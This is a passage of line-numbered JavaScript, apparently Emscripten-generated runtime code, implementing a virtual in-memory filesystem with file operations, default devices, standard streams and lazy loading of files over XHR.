  3726. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3727. }
  3728. return node.node_ops.getattr(node)
  3729. }),
  3730. lstat: (function(path) {
  3731. return FS.stat(path, true)
  3732. }),
  3733. chmod: (function(path, mode, dontFollow) {
  3734. var node;
  3735. if (typeof path === "string") {
  3736. var lookup = FS.lookupPath(path, {
  3737. follow: !dontFollow
  3738. });
  3739. node = lookup.node
  3740. } else {
  3741. node = path
  3742. }
  3743. if (!node.node_ops.setattr) {
  3744. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3745. }
  3746. node.node_ops.setattr(node, {
  3747. mode: mode & 4095 | node.mode & ~4095,
  3748. timestamp: Date.now()
  3749. })
  3750. }),
  3751. lchmod: (function(path, mode) {
  3752. FS.chmod(path, mode, true)
  3753. }),
  3754. fchmod: (function(fd, mode) {
  3755. var stream = FS.getStream(fd);
  3756. if (!stream) {
  3757. throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3758. }
  3759. FS.chmod(stream.node, mode)
  3760. }),
  3761. chown: (function(path, uid, gid, dontFollow) {
  3762. var node;
  3763. if (typeof path === "string") {
  3764. var lookup = FS.lookupPath(path, {
  3765. follow: !dontFollow
  3766. });
  3767. node = lookup.node
  3768. } else {
  3769. node = path
  3770. }
  3771. if (!node.node_ops.setattr) {
  3772. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3773. }
  3774. node.node_ops.setattr(node, {
  3775. timestamp: Date.now()
  3776. })
  3777. }),
  3778. lchown: (function(path, uid, gid) {
  3779. FS.chown(path, uid, gid, true)
  3780. }),
  3781. fchown: (function(fd, uid, gid) {
  3782. var stream = FS.getStream(fd);
  3783. if (!stream) {
  3784. throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3785. }
  3786. FS.chown(stream.node, uid, gid)
  3787. }),
  3788. truncate: (function(path, len) {
  3789. if (len < 0) {
  3790. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3791. }
  3792. var node;
  3793. if (typeof path === "string") {
  3794. var lookup = FS.lookupPath(path, {
  3795. follow: true
  3796. });
  3797. node = lookup.node
  3798. } else {
  3799. node = path
  3800. }
  3801. if (!node.node_ops.setattr) {
  3802. throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3803. }
  3804. if (FS.isDir(node.mode)) {
  3805. throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  3806. }
  3807. if (!FS.isFile(node.mode)) {
  3808. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3809. }
  3810. var err = FS.nodePermissions(node, "w");
  3811. if (err) {
  3812. throw new FS.ErrnoError(err)
  3813. }
  3814. node.node_ops.setattr(node, {
  3815. size: len,
  3816. timestamp: Date.now()
  3817. })
  3818. }),
  3819. ftruncate: (function(fd, len) {
  3820. var stream = FS.getStream(fd);
  3821. if (!stream) {
  3822. throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3823. }
  3824. if ((stream.flags & 2097155) === 0) {
  3825. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3826. }
  3827. FS.truncate(stream.node, len)
  3828. }),
  3829. utime: (function(path, atime, mtime) {
  3830. var lookup = FS.lookupPath(path, {
  3831. follow: true
  3832. });
  3833. var node = lookup.node;
  3834. node.node_ops.setattr(node, {
  3835. timestamp: Math.max(atime, mtime)
  3836. })
  3837. }),
  3838. open: (function(path, flags, mode, fd_start, fd_end) {
  3839. if (path === "") {
  3840. throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3841. }
  3842. flags = typeof flags === "string" ? FS.modeStringToFlags(flags) : flags;
  3843. mode = typeof mode === "undefined" ? 438 : mode;
  3844. if (flags & 64) {
  3845. mode = mode & 4095 | 32768
  3846. } else {
  3847. mode = 0
  3848. }
  3849. var node;
  3850. if (typeof path === "object") {
  3851. node = path
  3852. } else {
  3853. path = PATH.normalize(path);
  3854. try {
  3855. var lookup = FS.lookupPath(path, {
  3856. follow: !(flags & 131072)
  3857. });
  3858. node = lookup.node
  3859. } catch (e) {}
  3860. }
  3861. var created = false;
  3862. if (flags & 64) {
  3863. if (node) {
  3864. if (flags & 128) {
  3865. throw new FS.ErrnoError(ERRNO_CODES.EEXIST)
  3866. }
  3867. } else {
  3868. node = FS.mknod(path, mode, 0);
  3869. created = true
  3870. }
  3871. }
  3872. if (!node) {
  3873. throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3874. }
  3875. if (FS.isChrdev(node.mode)) {
  3876. flags &= ~512
  3877. }
  3878. if (flags & 65536 && !FS.isDir(node.mode)) {
  3879. throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3880. }
  3881. if (!created) {
  3882. var err = FS.mayOpen(node, flags);
  3883. if (err) {
  3884. throw new FS.ErrnoError(err)
  3885. }
  3886. }
  3887. if (flags & 512) {
  3888. FS.truncate(node, 0)
  3889. }
  3890. flags &= ~(128 | 512);
  3891. var stream = FS.createStream({
  3892. node: node,
  3893. path: FS.getPath(node),
  3894. flags: flags,
  3895. seekable: true,
  3896. position: 0,
  3897. stream_ops: node.stream_ops,
  3898. ungotten: [],
  3899. error: false
  3900. }, fd_start, fd_end);
  3901. if (stream.stream_ops.open) {
  3902. stream.stream_ops.open(stream)
  3903. }
  3904. if (Module["logReadFiles"] && !(flags & 1)) {
  3905. if (!FS.readFiles) FS.readFiles = {};
  3906. if (!(path in FS.readFiles)) {
  3907. FS.readFiles[path] = 1;
  3908. Module["printErr"]("read file: " + path)
  3909. }
  3910. }
  3911. try {
  3912. if (FS.trackingDelegate["onOpenFile"]) {
  3913. var trackingFlags = 0;
  3914. if ((flags & 2097155) !== 1) {
  3915. trackingFlags |= FS.tracking.openFlags.READ
  3916. }
  3917. if ((flags & 2097155) !== 0) {
  3918. trackingFlags |= FS.tracking.openFlags.WRITE
  3919. }
  3920. FS.trackingDelegate["onOpenFile"](path, trackingFlags)
  3921. }
  3922. } catch (e) {
  3923. console.log("FS.trackingDelegate['onOpenFile']('" + path + "', flags) threw an exception: " + e.message)
  3924. }
  3925. return stream
  3926. }),
  3927. close: (function(stream) {
  3928. if (stream.getdents) stream.getdents = null;
  3929. try {
  3930. if (stream.stream_ops.close) {
  3931. stream.stream_ops.close(stream)
  3932. }
  3933. } catch (e) {
  3934. throw e
  3935. } finally {
  3936. FS.closeStream(stream.fd)
  3937. }
  3938. }),
  3939. llseek: (function(stream, offset, whence) {
  3940. if (!stream.seekable || !stream.stream_ops.llseek) {
  3941. throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3942. }
  3943. stream.position = stream.stream_ops.llseek(stream, offset, whence);
  3944. stream.ungotten = [];
  3945. return stream.position
  3946. }),
  3947. read: (function(stream, buffer, offset, length, position) {
  3948. if (length < 0 || position < 0) {
  3949. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3950. }
  3951. if ((stream.flags & 2097155) === 1) {
  3952. throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3953. }
  3954. if (FS.isDir(stream.node.mode)) {
  3955. throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  3956. }
  3957. if (!stream.stream_ops.read) {
  3958. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3959. }
  3960. var seeking = true;
  3961. if (typeof position === "undefined") {
  3962. position = stream.position;
  3963. seeking = false
  3964. } else if (!stream.seekable) {
  3965. throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3966. }
  3967. var bytesRead = stream.stream_ops.read(stream, buffer, offset, length, position);
  3968. if (!seeking) stream.position += bytesRead;
  3969. return bytesRead
  3970. }),
  3971. write: (function(stream, buffer, offset, length, position, canOwn) {
  3972. if (length < 0 || position < 0) {
  3973. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3974. }
  3975. if ((stream.flags & 2097155) === 0) {
  3976. throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  3977. }
  3978. if (FS.isDir(stream.node.mode)) {
  3979. throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
  3980. }
  3981. if (!stream.stream_ops.write) {
  3982. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3983. }
  3984. if (stream.flags & 1024) {
  3985. FS.llseek(stream, 0, 2)
  3986. }
  3987. var seeking = true;
  3988. if (typeof position === "undefined") {
  3989. position = stream.position;
  3990. seeking = false
  3991. } else if (!stream.seekable) {
  3992. throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3993. }
  3994. var bytesWritten = stream.stream_ops.write(stream, buffer, offset, length, position, canOwn);
  3995. if (!seeking) stream.position += bytesWritten;
  3996. try {
  3997. if (stream.path && FS.trackingDelegate["onWriteToFile"]) FS.trackingDelegate["onWriteToFile"](stream.path)
  3998. } catch (e) {
  3999. console.log("FS.trackingDelegate['onWriteToFile']('" + path + "') threw an exception: " + e.message)
  4000. }
  4001. return bytesWritten
  4002. }),
  4003. allocate: (function(stream, offset, length) {
  4004. if (offset < 0 || length <= 0) {
  4005. throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  4006. }
  4007. if ((stream.flags & 2097155) === 0) {
  4008. throw new FS.ErrnoError(ERRNO_CODES.EBADF)
  4009. }
  4010. if (!FS.isFile(stream.node.mode) && !FS.isDir(stream.node.mode)) {
  4011. throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  4012. }
  4013. if (!stream.stream_ops.allocate) {
  4014. throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)
  4015. }
  4016. stream.stream_ops.allocate(stream, offset, length)
  4017. }),
  4018. mmap: (function(stream, buffer, offset, length, position, prot, flags) {
  4019. if ((stream.flags & 2097155) === 1) {
  4020. throw new FS.ErrnoError(ERRNO_CODES.EACCES)
  4021. }
  4022. if (!stream.stream_ops.mmap) {
  4023. throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  4024. }
  4025. return stream.stream_ops.mmap(stream, buffer, offset, length, position, prot, flags)
  4026. }),
  4027. msync: (function(stream, buffer, offset, length, mmapFlags) {
  4028. if (!stream || !stream.stream_ops.msync) {
  4029. return 0
  4030. }
  4031. return stream.stream_ops.msync(stream, buffer, offset, length, mmapFlags)
  4032. }),
  4033. munmap: (function(stream) {
  4034. return 0
  4035. }),
  4036. ioctl: (function(stream, cmd, arg) {
  4037. if (!stream.stream_ops.ioctl) {
  4038. throw new FS.ErrnoError(ERRNO_CODES.ENOTTY)
  4039. }
  4040. return stream.stream_ops.ioctl(stream, cmd, arg)
  4041. }),
  4042. readFile: (function(path, opts) {
  4043. opts = opts || {};
  4044. opts.flags = opts.flags || "r";
  4045. opts.encoding = opts.encoding || "binary";
  4046. if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
  4047. throw new Error('Invalid encoding type "' + opts.encoding + '"')
  4048. }
  4049. var ret;
  4050. var stream = FS.open(path, opts.flags);
  4051. var stat = FS.stat(path);
  4052. var length = stat.size;
  4053. var buf = new Uint8Array(length);
  4054. FS.read(stream, buf, 0, length, 0);
  4055. if (opts.encoding === "utf8") {
  4056. ret = UTF8ArrayToString(buf, 0)
  4057. } else if (opts.encoding === "binary") {
  4058. ret = buf
  4059. }
  4060. FS.close(stream);
  4061. return ret
  4062. }),
  4063. writeFile: (function(path, data, opts) {
  4064. opts = opts || {};
  4065. opts.flags = opts.flags || "w";
  4066. opts.encoding = opts.encoding || "utf8";
  4067. if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
  4068. throw new Error('Invalid encoding type "' + opts.encoding + '"')
  4069. }
  4070. var stream = FS.open(path, opts.flags, opts.mode);
  4071. if (opts.encoding === "utf8") {
  4072. var buf = new Uint8Array(lengthBytesUTF8(data) + 1);
  4073. var actualNumBytes = stringToUTF8Array(data, buf, 0, buf.length);
  4074. FS.write(stream, buf, 0, actualNumBytes, 0, opts.canOwn)
  4075. } else if (opts.encoding === "binary") {
  4076. FS.write(stream, data, 0, data.length, 0, opts.canOwn)
  4077. }
  4078. FS.close(stream)
  4079. }),
  4080. cwd: (function() {
  4081. return FS.currentPath
  4082. }),
  4083. chdir: (function(path) {
  4084. var lookup = FS.lookupPath(path, {
  4085. follow: true
  4086. });
  4087. if (lookup.node === null) {
  4088. throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  4089. }
  4090. if (!FS.isDir(lookup.node.mode)) {
  4091. throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  4092. }
  4093. var err = FS.nodePermissions(lookup.node, "x");
  4094. if (err) {
  4095. throw new FS.ErrnoError(err)
  4096. }
  4097. FS.currentPath = lookup.path
  4098. }),
  4099. createDefaultDirectories: (function() {
  4100. FS.mkdir("/tmp");
  4101. FS.mkdir("/home");
  4102. FS.mkdir("/home/web_user")
  4103. }),
  4104. createDefaultDevices: (function() {
  4105. FS.mkdir("/dev");
  4106. FS.registerDevice(FS.makedev(1, 3), {
  4107. read: (function() {
  4108. return 0
  4109. }),
  4110. write: (function(stream, buffer, offset, length, pos) {
  4111. return length
  4112. })
  4113. });
  4114. FS.mkdev("/dev/null", FS.makedev(1, 3));
  4115. TTY.register(FS.makedev(5, 0), TTY.default_tty_ops);
  4116. TTY.register(FS.makedev(6, 0), TTY.default_tty1_ops);
  4117. FS.mkdev("/dev/tty", FS.makedev(5, 0));
  4118. FS.mkdev("/dev/tty1", FS.makedev(6, 0));
  4119. var random_device;
  4120. if (typeof crypto !== "undefined") {
  4121. var randomBuffer = new Uint8Array(1);
  4122. random_device = (function() {
  4123. crypto.getRandomValues(randomBuffer);
  4124. return randomBuffer[0]
  4125. })
  4126. } else if (ENVIRONMENT_IS_NODE) {
  4127. random_device = (function() {
  4128. return require("crypto").randomBytes(1)[0]
  4129. })
  4130. } else {
  4131. random_device = (function() {
  4132. return Math.random() * 256 | 0
  4133. })
  4134. }
  4135. FS.createDevice("/dev", "random", random_device);
  4136. FS.createDevice("/dev", "urandom", random_device);
  4137. FS.mkdir("/dev/shm");
  4138. FS.mkdir("/dev/shm/tmp")
  4139. }),
  4140. createSpecialDirectories: (function() {
  4141. FS.mkdir("/proc");
  4142. FS.mkdir("/proc/self");
  4143. FS.mkdir("/proc/self/fd");
  4144. FS.mount({
  4145. mount: (function() {
  4146. var node = FS.createNode("/proc/self", "fd", 16384 | 511, 73);
  4147. node.node_ops = {
  4148. lookup: (function(parent, name) {
  4149. var fd = +name;
  4150. var stream = FS.getStream(fd);
  4151. if (!stream) throw new FS.ErrnoError(ERRNO_CODES.EBADF);
  4152. var ret = {
  4153. parent: null,
  4154. mount: {
  4155. mountpoint: "fake"
  4156. },
  4157. node_ops: {
  4158. readlink: (function() {
  4159. return stream.path
  4160. })
  4161. }
  4162. };
  4163. ret.parent = ret;
  4164. return ret
  4165. })
  4166. };
  4167. return node
  4168. })
  4169. }, {}, "/proc/self/fd")
  4170. }),
  4171. createStandardStreams: (function() {
  4172. if (Module["stdin"]) {
  4173. FS.createDevice("/dev", "stdin", Module["stdin"])
  4174. } else {
  4175. FS.symlink("/dev/tty", "/dev/stdin")
  4176. }
  4177. if (Module["stdout"]) {
  4178. FS.createDevice("/dev", "stdout", null, Module["stdout"])
  4179. } else {
  4180. FS.symlink("/dev/tty", "/dev/stdout")
  4181. }
  4182. if (Module["stderr"]) {
  4183. FS.createDevice("/dev", "stderr", null, Module["stderr"])
  4184. } else {
  4185. FS.symlink("/dev/tty1", "/dev/stderr")
  4186. }
  4187. var stdin = FS.open("/dev/stdin", "r");
  4188. assert(stdin.fd === 0, "invalid handle for stdin (" + stdin.fd + ")");
  4189. var stdout = FS.open("/dev/stdout", "w");
  4190. assert(stdout.fd === 1, "invalid handle for stdout (" + stdout.fd + ")");
  4191. var stderr = FS.open("/dev/stderr", "w");
  4192. assert(stderr.fd === 2, "invalid handle for stderr (" + stderr.fd + ")")
  4193. }),
  4194. ensureErrnoError: (function() {
  4195. if (FS.ErrnoError) return;
  4196. FS.ErrnoError = function ErrnoError(errno, node) {
  4197. this.node = node;
  4198. this.setErrno = (function(errno) {
  4199. this.errno = errno;
  4200. for (var key in ERRNO_CODES) {
  4201. if (ERRNO_CODES[key] === errno) {
  4202. this.code = key;
  4203. break
  4204. }
  4205. }
  4206. });
  4207. this.setErrno(errno);
  4208. this.message = ERRNO_MESSAGES[errno]
  4209. };
  4210. FS.ErrnoError.prototype = new Error;
  4211. FS.ErrnoError.prototype.constructor = FS.ErrnoError;
  4212. [ERRNO_CODES.ENOENT].forEach((function(code) {
  4213. FS.genericErrors[code] = new FS.ErrnoError(code);
  4214. FS.genericErrors[code].stack = "<generic error, no stack>"
  4215. }))
  4216. }),
  4217. staticInit: (function() {
  4218. FS.ensureErrnoError();
  4219. FS.nameTable = new Array(4096);
  4220. FS.mount(MEMFS, {}, "/");
  4221. FS.createDefaultDirectories();
  4222. FS.createDefaultDevices();
  4223. FS.createSpecialDirectories();
  4224. FS.filesystems = {
  4225. "MEMFS": MEMFS,
  4226. "IDBFS": IDBFS,
  4227. "NODEFS": NODEFS,
  4228. "WORKERFS": WORKERFS
  4229. }
  4230. }),
  4231. init: (function(input, output, error) {
  4232. assert(!FS.init.initialized, "FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)");
  4233. FS.init.initialized = true;
  4234. FS.ensureErrnoError();
  4235. Module["stdin"] = input || Module["stdin"];
  4236. Module["stdout"] = output || Module["stdout"];
  4237. Module["stderr"] = error || Module["stderr"];
  4238. FS.createStandardStreams()
  4239. }),
  4240. quit: (function() {
  4241. FS.init.initialized = false;
  4242. var fflush = Module["_fflush"];
  4243. if (fflush) fflush(0);
  4244. for (var i = 0; i < FS.streams.length; i++) {
  4245. var stream = FS.streams[i];
  4246. if (!stream) {
  4247. continue
  4248. }
  4249. FS.close(stream)
  4250. }
  4251. }),
  4252. getMode: (function(canRead, canWrite) {
  4253. var mode = 0;
  4254. if (canRead) mode |= 292 | 73;
  4255. if (canWrite) mode |= 146;
  4256. return mode
  4257. }),
  4258. joinPath: (function(parts, forceRelative) {
  4259. var path = PATH.join.apply(null, parts);
  4260. if (forceRelative && path[0] == "/") path = path.substr(1);
  4261. return path
  4262. }),
  4263. absolutePath: (function(relative, base) {
  4264. return PATH.resolve(base, relative)
  4265. }),
  4266. standardizePath: (function(path) {
  4267. return PATH.normalize(path)
  4268. }),
  4269. findObject: (function(path, dontResolveLastLink) {
  4270. var ret = FS.analyzePath(path, dontResolveLastLink);
  4271. if (ret.exists) {
  4272. return ret.object
  4273. } else {
  4274. ___setErrNo(ret.error);
  4275. return null
  4276. }
  4277. }),
  4278. analyzePath: (function(path, dontResolveLastLink) {
  4279. try {
  4280. var lookup = FS.lookupPath(path, {
  4281. follow: !dontResolveLastLink
  4282. });
  4283. path = lookup.path
  4284. } catch (e) {}
  4285. var ret = {
  4286. isRoot: false,
  4287. exists: false,
  4288. error: 0,
  4289. name: null,
  4290. path: null,
  4291. object: null,
  4292. parentExists: false,
  4293. parentPath: null,
  4294. parentObject: null
  4295. };
  4296. try {
  4297. var lookup = FS.lookupPath(path, {
  4298. parent: true
  4299. });
  4300. ret.parentExists = true;
  4301. ret.parentPath = lookup.path;
  4302. ret.parentObject = lookup.node;
  4303. ret.name = PATH.basename(path);
  4304. lookup = FS.lookupPath(path, {
  4305. follow: !dontResolveLastLink
  4306. });
  4307. ret.exists = true;
  4308. ret.path = lookup.path;
  4309. ret.object = lookup.node;
  4310. ret.name = lookup.node.name;
  4311. ret.isRoot = lookup.path === "/"
  4312. } catch (e) {
  4313. ret.error = e.errno
  4314. }
  4315. return ret
  4316. }),
  4317. createFolder: (function(parent, name, canRead, canWrite) {
  4318. var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4319. var mode = FS.getMode(canRead, canWrite);
  4320. return FS.mkdir(path, mode)
  4321. }),
  4322. createPath: (function(parent, path, canRead, canWrite) {
  4323. parent = typeof parent === "string" ? parent : FS.getPath(parent);
  4324. var parts = path.split("/").reverse();
  4325. while (parts.length) {
  4326. var part = parts.pop();
  4327. if (!part) continue;
  4328. var current = PATH.join2(parent, part);
  4329. try {
  4330. FS.mkdir(current)
  4331. } catch (e) {}
  4332. parent = current
  4333. }
  4334. return current
  4335. }),
  4336. createFile: (function(parent, name, properties, canRead, canWrite) {
  4337. var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4338. var mode = FS.getMode(canRead, canWrite);
  4339. return FS.create(path, mode)
  4340. }),
  4341. createDataFile: (function(parent, name, data, canRead, canWrite, canOwn) {
  4342. var path = name ? PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name) : parent;
  4343. var mode = FS.getMode(canRead, canWrite);
  4344. var node = FS.create(path, mode);
  4345. if (data) {
  4346. if (typeof data === "string") {
  4347. var arr = new Array(data.length);
  4348. for (var i = 0, len = data.length; i < len; ++i) arr[i] = data.charCodeAt(i);
  4349. data = arr
  4350. }
  4351. FS.chmod(node, mode | 146);
  4352. var stream = FS.open(node, "w");
  4353. FS.write(stream, data, 0, data.length, 0, canOwn);
  4354. FS.close(stream);
  4355. FS.chmod(node, mode)
  4356. }
  4357. return node
  4358. }),
  4359. createDevice: (function(parent, name, input, output) {
  4360. var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4361. var mode = FS.getMode(!!input, !!output);
  4362. if (!FS.createDevice.major) FS.createDevice.major = 64;
  4363. var dev = FS.makedev(FS.createDevice.major++, 0);
  4364. FS.registerDevice(dev, {
  4365. open: (function(stream) {
  4366. stream.seekable = false
  4367. }),
  4368. close: (function(stream) {
  4369. if (output && output.buffer && output.buffer.length) {
  4370. output(10)
  4371. }
  4372. }),
  4373. read: (function(stream, buffer, offset, length, pos) {
  4374. var bytesRead = 0;
  4375. for (var i = 0; i < length; i++) {
  4376. var result;
  4377. try {
  4378. result = input()
  4379. } catch (e) {
  4380. throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4381. }
  4382. if (result === undefined && bytesRead === 0) {
  4383. throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
  4384. }
  4385. if (result === null || result === undefined) break;
  4386. bytesRead++;
  4387. buffer[offset + i] = result
  4388. }
  4389. if (bytesRead) {
  4390. stream.node.timestamp = Date.now()
  4391. }
  4392. return bytesRead
  4393. }),
  4394. write: (function(stream, buffer, offset, length, pos) {
  4395. for (var i = 0; i < length; i++) {
  4396. try {
  4397. output(buffer[offset + i])
  4398. } catch (e) {
  4399. throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4400. }
  4401. }
  4402. if (length) {
  4403. stream.node.timestamp = Date.now()
  4404. }
  4405. return i
  4406. })
  4407. });
  4408. return FS.mkdev(path, mode, dev)
  4409. }),
  4410. createLink: (function(parent, name, target, canRead, canWrite) {
  4411. var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
  4412. return FS.symlink(target, path)
  4413. }),
  4414. forceLoadFile: (function(obj) {
  4415. if (obj.isDevice || obj.isFolder || obj.link || obj.contents) return true;
  4416. var success = true;
  4417. if (typeof XMLHttpRequest !== "undefined") {
  4418. throw new Error("Lazy loading should have been performed (contents set) in createLazyFile, but it was not. Lazy loading only works in web workers. Use --embed-file or --preload-file in emcc on the main thread.")
  4419. } else if (Module["read"]) {
  4420. try {
  4421. obj.contents = intArrayFromString(Module["read"](obj.url), true);
  4422. obj.usedBytes = obj.contents.length
  4423. } catch (e) {
  4424. success = false
  4425. }
  4426. } else {
  4427. throw new Error("Cannot load without read() or XMLHttpRequest.")
  4428. }
  4429. if (!success) ___setErrNo(ERRNO_CODES.EIO);
  4430. return success
  4431. }),
  4432. createLazyFile: (function(parent, name, url, canRead, canWrite) {
  4433. function LazyUint8Array() {
  4434. this.lengthKnown = false;
  4435. this.chunks = []
  4436. }
  4437. LazyUint8Array.prototype.get = function LazyUint8Array_get(idx) {
  4438. if (idx > this.length - 1 || idx < 0) {
  4439. return undefined
  4440. }
  4441. var chunkOffset = idx % this.chunkSize;
  4442. var chunkNum = idx / this.chunkSize | 0;
  4443. return this.getter(chunkNum)[chunkOffset]
  4444. };
  4445. LazyUint8Array.prototype.setDataGetter = function LazyUint8Array_setDataGetter(getter) {
  4446. this.getter = getter
  4447. };
  4448. LazyUint8Array.prototype.cacheLength = function LazyUint8Array_cacheLength() {
  4449. var xhr = new XMLHttpRequest;
  4450. xhr.open("HEAD", url, false);
  4451. xhr.send(null);
  4452. if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304)) throw new Error("Couldn't load " + url + ". Status: " + xhr.status);
  4453. var datalength = Number(xhr.getResponseHeader("Content-length"));
  4454. var header;
  4455. var hasByteServing = (header = xhr.getResponseHeader("Accept-Ranges")) && header === "bytes";
  4456. var usesGzip = (header = xhr.getResponseHeader("Content-Encoding")) && header === "gzip";
  4457. var chunkSize = 1024 * 1024;
  4458. if (!hasByteServing) chunkSize = datalength;
  4459. var doXHR = (function(from, to) {
  4460. if (from > to) throw new Error("invalid range (" + from + ", " + to + ") or no bytes requested!");
  4461. if (to > datalength - 1) throw new Error("only " + datalength + " bytes available! programmer error!");
  4462. var xhr = new XMLHttpRequest;
  4463. xhr.open("GET", url, false);
  4464. if (datalength !== chunkSize) xhr.setRequestHeader("Range", "bytes=" + from + "-" + to);
  4465. if (typeof Uint8Array != "undefined") xhr.responseType = "arraybuffer";
  4466. if (xhr.overrideMimeType) {
  4467. xhr.overrideMimeType("text/plain; charset=x-user-defined")
  4468. }
  4469. xhr.send(null);
  4470. if (!(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304)) throw new Error("Couldn't load " + url + ". Status: " + xhr.status);
  4471. if (xhr.response !== undefined) {
  4472. return new Uint8Array(xhr.response || [])
  4473. } else {
  4474. return intArrayFromString(xhr.responseText || "", true)
  4475. }
  4476. });
  4477. var lazyArray = this;
  4478. lazyArray.setDataGetter((function(chunkNum) {
  4479. var start = chunkNum * chunkSize;
  4480. var end = (chunkNum + 1) * chunkSize - 1;
  4481. end = Math.min(end, datalength - 1);
  4482. if (typeof lazyArray.chunks[chunkNum] === "undefined") {
  4483. lazyArray.chunks[chunkNum] = doXHR(start, end)
  4484. }
  4485. if (typeof lazyArray.chunks[chunkNum] === "undefined") throw new Error("doXHR failed!");
  4486. return lazyArray.chunks[chunkNum]
  4487. }));
  4488. if (usesGzip || !datalength) {
  4489. chunkSize = datalength = 1;
  4490. datalength = this.getter(0).length;
  4491. chunkSize = datalength;
  4492. console.log("LazyFiles on gzip forces download of the whole file when length is accessed")
  4493. }
  4494. this._length = datalength;
  4495. this._chunkSize = chunkSize;
  4496. this.lengthKnown = true
  4497. };
  4498. if (typeof XMLHttpRequest !== "undefined") {
  4499. if (!ENVIRONMENT_IS_WORKER) throw "Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc";
  4500. var lazyArray = new LazyUint8Array;
  4501. Object.defineProperties(lazyArray, {
  4502. length: {
  4503. get: (function() {
  4504. if (!this.lengthKnown) {
  4505. this.cacheLength()
  4506. }
  4507. return this._length
  4508. })
  4509. },
  4510. chunkSize: {
  4511. get: (function() {
  4512. if (!this.lengthKnown) {
  4513. this.cacheLength()
  4514. }
  4515. return this._chunkSize
  4516. })
  4517. }
  4518. });
  4519. var properties = {
  4520. isDevice: false,
  4521. contents: lazyArray
  4522. }
  4523. } else {
  4524. var properties = {
  4525. isDevice: false,
  4526. url: url
  4527. }
  4528. }
  4529. var node = FS.createFile(parent, name, properties, canRead, canWrite);
  4530. if (properties.contents) {
  4531. node.contents = properties.contents
  4532. } else if (properties.url) {
  4533. node.contents = null;
  4534. node.url = properties.url
  4535. }
  4536. Object.defineProperties(node, {
  4537. usedBytes: {
  4538. get: (function() {
  4539. return this.contents.length
  4540. })
  4541. }
  4542. });
  4543. var stream_ops = {};
  4544. var keys = Object.keys(node.stream_ops);
  4545. keys.forEach((function(key) {
  4546. var fn = node.stream_ops[key];
  4547. stream_ops[key] = function forceLoadLazyFile() {
  4548. if (!FS.forceLoadFile(node)) {
  4549. throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4550. }
  4551. return fn.apply(null, arguments)
  4552. }
  4553. }));
  4554. stream_ops.read = function stream_ops_read(stream, buffer, offset, length, position) {
  4555. if (!FS.forceLoadFile(node)) {
  4556. throw new FS.ErrnoError(ERRNO_CODES.EIO)
  4557. }
  4558. var contents = stream.node.contents;
  4559. if (position >= contents.length) return 0;
  4560. var size = Math.min(contents.length - position, length);
  4561. assert(size >= 0);
  4562. if (contents.slice) {
  4563. for (var i = 0; i < size; i++) {
  4564. buffer[offset + i] = contents[position + i]
  4565. }
  4566. } else {
  4567. for (var i = 0; i < size; i++) {
  4568. buffer[offset + i] = contents.get(position + i)
  4569. }
  4570. }
  4571. return size
  4572. };
  4573. node.stream_ops = stream_ops;
  4574. return node
  4575. }),
  4576. createPreloadedFile: (function(parent, name, url, canRead, canWrite, onload, onerror, dontCreateFile, canOwn, preFinish) {
  4577. Browser.init();
  4578. var fullname = name ? PATH.resolve(PATH.join2(parent, name)) : parent;
  4579. var dep = getUniqueRunDependency("cp " + fullname);
  4580.  
  4581. function processData(byteArray) {
  4582. function finish(byteArray) {
  4583. if (preFinish) preFinish();
  4584. if (!dontCreateFile) {
  4585. FS.createDataFile(parent, name, byteArray, canRead, canWrite, canOwn)
  4586. }
  4587. if (onload) onload();
  4588. removeRunDependency(dep)
  4589. }
  4590. var handled = false;
  4591. Module["preloadPlugins"].forEach((function(plugin) {
  4592. if (handled) return;
  4593. if (plugin["canHandle"](fullname)) {
  4594. plugin["handle"](byteArray, fullname, finish, (function() {
  4595. if (onerror) onerror();
  4596. removeRunDependency(dep)
  4597. }));
  4598. handled = true
  4599. }
  4600. }));
  4601. if (!handled) finish(byteArray)
  4602. }
  4603. addRunDependency(dep);
  4604. if (typeof url == "string") {
